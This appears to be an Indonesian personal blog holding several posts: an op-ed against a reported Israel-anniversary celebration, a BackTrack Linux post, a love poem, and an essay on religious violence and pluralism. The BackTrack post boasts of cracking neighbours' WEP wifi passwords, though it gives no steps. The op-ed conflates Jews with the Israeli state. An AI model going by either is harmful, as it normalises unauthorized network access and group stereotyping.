Aku tertawa sendiri karena tulisan itu menuai kontroversi yang luar biasa. Polemik antara yang Pro dan Kontra terjadi, bahkan tak jarang ditemukan kata-kata pedas dan sumpah serapah. Tak kalah serunya di Kompasiana sendiri, aku sampai kewalahan memberi respon balik terhadap komentar Kompasianer (sebutan buat pemilik akun Kompasiana). 

Aku buka kembali Kompas Cyber Media di malam harinya, ternyata tulisanku masih nagkring di situ. Walau bukan di Highlight, tapi pindah ke rubrik Pilihan Editor. Aku pikir pantas saja, sampai mencapai angka segitu. angka keterbacaan yang luar biasa untuk tulisan yang cuma digarap secara iseng. Lu manyuuun.....! Oya tulisan itu bisa diklik disini
 
Picture
Tulisan ini dimuat di Kompas edisi 13 Mei 2011, di link :      
http://internasional.kompas.com/read/2011/05/13/10254223/Benarkah.Akan.Rayakan.HUT.Israel


Pagi ini secara tak sengaja saya tonton talkshow di sebuah televisi swasta tentang rencana kelompok Yahudi Indonesia yang berencana merayakan Hari Ulang Tahun (HUT) Israel 14 Mei Sabtu besok. Saya termenung sesaat. Pertama yang ada dalam benak saya, apa benar ada Komunitas Yahudi di Indonesia? Kedua, Apa tujuan mereka merayakan HUT bangsa lain yang sampai saat ini tidak ada korelasinya dengan Indonesia?
Yahudi adalah sebuah bangsa sekaligus teologi yang belakangan selalu menimbulkan kontroversi karena sepak terjang dan sejarah pembantaiannya terhadap bangsa Arab di Palestina. Anehnya selama ini saya belum mendengar bangsa dan teologi ini tumbuh atau ada di Indonesia. Kenapa kemudian muncul berita akan ada perayaan bangsa Israel di sini? atau saya memang terlalu kuper sehingga saya tidak tahu bahwa Yahudi tidak hanya ada di sekitar Hebron dan sekitar bukit Zion.

nara sumber mengatakan bahwa tujuan komunitas ini ingin meredam kekerasan yang selama ini meningkat di Indonesia. Saya berpikir apakah mereka tidak salah tujuan..? bukankah dengan menyentuh sensifitas sebagian besar masyarakat yang tak simpati dengan sepak terjang Israel terhadap rakyat Palestina selama ini berarti menciptakan embrio kekerasan baru..? 

Mereka bisa saja berdalih menjunjung pluralisme di negara yang memeiliki heterogenitas tinggi ini. Tapi bukankah tidak harus dengan cara demikian (merayakan HUT Israel) dan kemudian dipublikasikannya. Sementara Indonesia sampai detik ini tidak meiliki hubungan diplomatik dengan Israel. Walaupun ada informasi bahwa kontak diplomatik dan organisasi sosial antara Jerussalem - Jakarta perlahan mulai dirintis, bukan berarti harus melukai perasaan mayoritas rakyat Indonesia yang masih geram dengan agresi mereka terhadap rakyat Palestina.

Kalau untuk tujuan meredam kekerasan, nampaknya mereka salah arah berkiblat. Kita semua paham bahwa sepanjang sejarah Zionisme yang ditabuh sejak akhir abad ke 19, selau diwarnai dengan pertumpahan darah dan kekerasan. Ribuan nyawa melayang oleh moncong senapan dan meriam Israel. Sementara mereka hanya mampu melawan dengan batu (baca: Intifadah). Pembantaian terhadap warga sipil selalu kita dengar melalui media. Ini catatan hitam yang tak pernah terselesaikan bahwa Israel sudah dan sedang melakukan pembersihan etnik yang dari perspektif apapun tak bisa dibenarkan.

Lalu apa untungnya mereka merayakan Hari Ulang Tahun Negara lain..? bahkan ulang tahun sebuah bangsa yang tak ada hubungan sama sekali dengan kita, baik aspek sosiologis, politik, kultur atau teologis. Dampak negatifnya lebih banyak, moderatnya jauh lebih besar dari manfaatnya yang nyaris tak ada.  

Aparat negeri ini sedang bersusah payah membangun stabilitas dan keamanan, kasus demi kasus masih belum terselesaikan. Negeri ini memang heterogen, tapi jangan dengan dalih demi pluralisme kita memantik api dan menyulut kegeraman baru. Harmoni antar umat memang harus kita junjung tinggi. Namun di saat stabilitas bangsa dan sendi keberagaman masih rapuh, rasanya tak layak melakukan hal-hal yang tak perlu.

Bukankah merayakan hari jadi Negara lain bisa mencoreng wajah bangsa sendiri bahkan mungkin dianggap makar?. Semoga coretan pendek ini menjadi pertimbangan agar keinginan sebagian kelompok tidak melukai kelompok yang lainnya.


 
 
Pernah dengar kata bactrack..? Dulunya saya penasaran dengan nama ini. Ternyata usut punya usut backtrak adalah salah satu distro Linux yang ketika saya coba banyak memiliki kelebihan dibandingkan dengan produk Linux sebelumnya. Saya sering menggunakannya karena OS ini sebagaimana produk Linux lainnya dipasarkan secara gratis dan mengoperasikannya juga mudah. Bagi anda yang sudah familiar dengan windows saya yakin bisa menggunakannya dengan mudah.

Sebagai salah satu distro yang dikenal gratis dengan tingkat securitas yang tinggi, backtrack nampaknya dikembangkan dari slackware yang di merge dari whax dan auditor security collection. Backtrack2 menurut informasinya dirilis  pada awal maret 2007 yang mengintegrasikan lebih dari 300 tool security, sedangkan versi beta 3 dilaunching pada tanggal 14 Desember 2007, hanya selisih beberapa bulan dari versi sebelumnya. Versi ini difokuskan pada pengembangan hardware yang memudahkan mengplikasikan gadget-gadget baru yang mulai bermunculan di pasaran, baik di cyber space atau pasar konfensional.

Uniknya ternyata backtrak ini dikembangkan oleh seorang consultant security berkebangsaan Israel (orang Indonesia mana...?) yang berkolborasi dengan Max Mosser yang merupakan auditor security collection dan bekerja untuk linux secara khusus melakukan penetrasi keamanan di Linux. Hebatnya lagi backtrack ini ternyata bisa saya gunakan untuk hacking WIFI hotspot tetangga yang menggunakan enkripsi WEP, dan hasilnya 100% jitu, semua hotspot wireless dengan enkripsi WEP bisa saya tembus passwordnya. Saya tunjukkan caranya jika saya sempat nulis lagi. Tentu saja cara tersebut saya dedikasikan buat teman-teman yang memiliki router modem yang menggunakan wireless agar tidak gegabah memakai sistem keamanannya, bukan untuk mereka yang mau nyolong ngenet gratis.

Saya hanya geleng-geleng kepala bagaimana mungkin sebuah Kerja komunitas para intelektual dan teknisi bisa menghasilkan OS yang didistribusikan dengan gratis bisa di download oleh siapa saja tanpa diminta apa-apa. Apa mungkin mereka berkarya untuk menjatuhkan otoritas Windows yang sudah mendarah daging seantero jagad yang dibajak besar-besaran oleh hampir 80% pengguna komputer dan internet. Ah saya tak tahu toh OS Windows7 yang saya pakaipun bajakan.

Sebagai OS untuk menjalankan komputer, tentu saja layaknya distro Linux yang lain, bactrack tidak bisa dijalankan integral dengan windows. Anda harus menggunakan flash usb atau keping cakram terpisah dengan memilih opsi pengoprasian pada awal membuka komputer. Penasaran dengan backtrack...? ada yang terbaru versi beta backtrack4 yang bisa download gratis disini
 
Pagi ini kembang berkidung
Berhias meraih tetes embun diambang mentari
Seperti kita sayang….,
Tersenyum di tunas hari agar terajut cinta hingga nanti
Bangunlah istriku,
Dengarkan burung bersenandung,
dan ijinkan kupetik dawai dari aroma helai rambutmu
Dengarkanlah,
tiap sentuhan menjadi lagu seiring debar jantungmu

* * *

Ingatkan aku saat nafas terpacu
Di atas tilam dalam remang oleh cemburu sang bulan,
saat  pernikahan kita masih belia

* * *

Gemerlapanlah hati dan jiwa oleh cinta di bibirmu
Setiap waktu bercumbu menjadi altar ibadah baru
Dan acapkali saat bulan mulai berlabuh,
kita rayakan cinta dan sejuta ungkapan rindu
Setiap ku sentuh engkau dengan hatiku
Bak merangkai indahnya seribu sonata
Dan kadangkala saat angin meniup lentera,
matamu redup seperti dian disela desir pawana
* * *


Kutangkupkan hati dan jiwa dalam sikap bersembahyang
Memanjatkan harap dan doa agar kita berkekalan
Dan dalam sujudku ditengah malam,
Aku meminta sepanjang hayat bersandingan

* * *

Malam pun datang bulan menari,
gemetar ikuti ombak sepanjang sisa melodi
Seperti kita sayang……,
berdebar meniti cinta dari menikah hingga ke mati
Kemarilah istriku,
rebahlah kupeluk engkau dalam pasrahmu,
biarlah hasrat mengalir dalam setiap denyut nadi kita
berdoalah selagi hasrat menyatu


Di usia kita yang sudah tak muda lagi
Semoga cinta tetap berlabuh dalam gairah rindu abadi


 Mahesa's inspired
 
Indonesia sebagai model pluralisme nampaknya harus dikaji kembali kelayakannya. Kekerasan yang berbau agama semakin sering kita dengar. Awal Februari lalu kembali menjadi catatan hitam betapa keberagaman dan ke Bhinneka-an kita semakin porak poranda, padahal Indonesia baru saja menggelar perhelatan dunia “Pekan Harmoni Antar-Iman Dunia” (World Interfaith Harmony Week), dimana tokoh lintas agama berkumpul bersama para negarawan.

Kekerasan di awal Februari masih terlalu hangat untuk dilupakan, dalam dua hari saja ada dua kejadian mengejutkan tentang disharmoni umat beragama di Indonesia. Pertama kasus cikeusik dimana sekitar 1000 massa menyerbu kediaman seorang yang yang diduga penganut dan pimpinan Ahmadiyah setempat, massa merusak dan membakar kediaman jamaah tersebut dan beberapa diantaranya harus terbunuh dengan sia-sia, ini masalah internal agama yang sebenarnya sudah lama menjadi PR pemerintah. Kedua kasus Temanggung yang dipicu oleh ketidak puasan massa atas vonis perkara penodaan agama di Pengadilan Negeri Temanggung yang hanya memvonis terdakwa penistaan agama dengan 5 tahun penjara, massa yang tidak puas kemudian bergerak dan membakar tiga gereja serta satu yayasan.

Kemarin kita kembali dikejutkan dengan meledaknya bom saat dicoba dijinakkan oleh polisi di Komunitas Utan Kayu yang kemudian dikenal dengan “Bom Ulil”, karena paket bom tersebut ditujukan buat pimpinan komunitas Ulil Abshar Abdalla. Lagi-lagi isunya kekerasan berbasis teologi dan agama. Ketidak puasan internal dalam agama yang memicu seseorang berbuat nekat bahkan mungkin tanpa nalar Liberalisme vis a vis radikalisme

Ironi yang tak perlu terjadi di negara yang konon penduduknya bisa hidup rukun dengan berbagai agama, ras dan etnik. Hal yang sebenarnya tak perlu terjadi di saat dunia mulai mengkampanyekan harmonisasi antar iman seluruh dunia, saat sebagian dunia barat mulai tertarik dengan keindahan Islam sebagai way of life

Ini masih menunjukkan bukti bahwa pemahaman pluralism belum mampu meng-cover sikap radikal beberapa kelompok yang tidak sepaham dengan lainnya, dengan Liberalis misalnya. Ini juga menjadi bukti bahwa ke Bhinneka-an kita yang ditanamkan sejak nenek moyang kembali rapuh dengan perlakuan beberapa orang bergaris keras. Menjadi bukti bahwa Indonesia tak lagi layak sebagai model tumbuhnya pluralism agama yang dibangun dengan susah payah oleh Indonesian pluralism founder.

Di Jaman Rasulullah sudah diatur tentang keberagaman beragama, beliau membuat piagam yang berisi penyatuan umat beragama, Islam, Kristen, Bahkan Yahudi ketika itu. Piagam yang kemudian dikenal dengan Piagam Madinah karena memang b erpusat di Kota Madinah ketika itu mengayomi kebersamaan umat, bahkan orang kafir yang tidak memerangi umat Islam bisa hidup rukun dan saling menghormati dalam bingkai Negara Islam yang berpusat di Madinah. Berjanji untuk tidak saling serang, untuk mempertahankan Negara yang sama namun tetap dalam agama yang berbeda.

Sejak zaman nenek moyang Indonesia sudah beragam dan terbiasa dengan perbedaan, kenapa baru akhir-akhir ini terjadi letupan? Kita tidak ingin menyamakan seluruh isi kepala tentang pemahaman beragama, yang beda biarlah beda dan jangan memaksakan kehendak agar orang lain turut mengiyakan apa yang kita pikirkan. Kenapa kita tidak memahami perbedaan secara kontekstual bahwa keberagaman adalah sebuah keniscayaan? Dimana letak keberagaman dan kerukunan kita?


Repost dari Kompasiana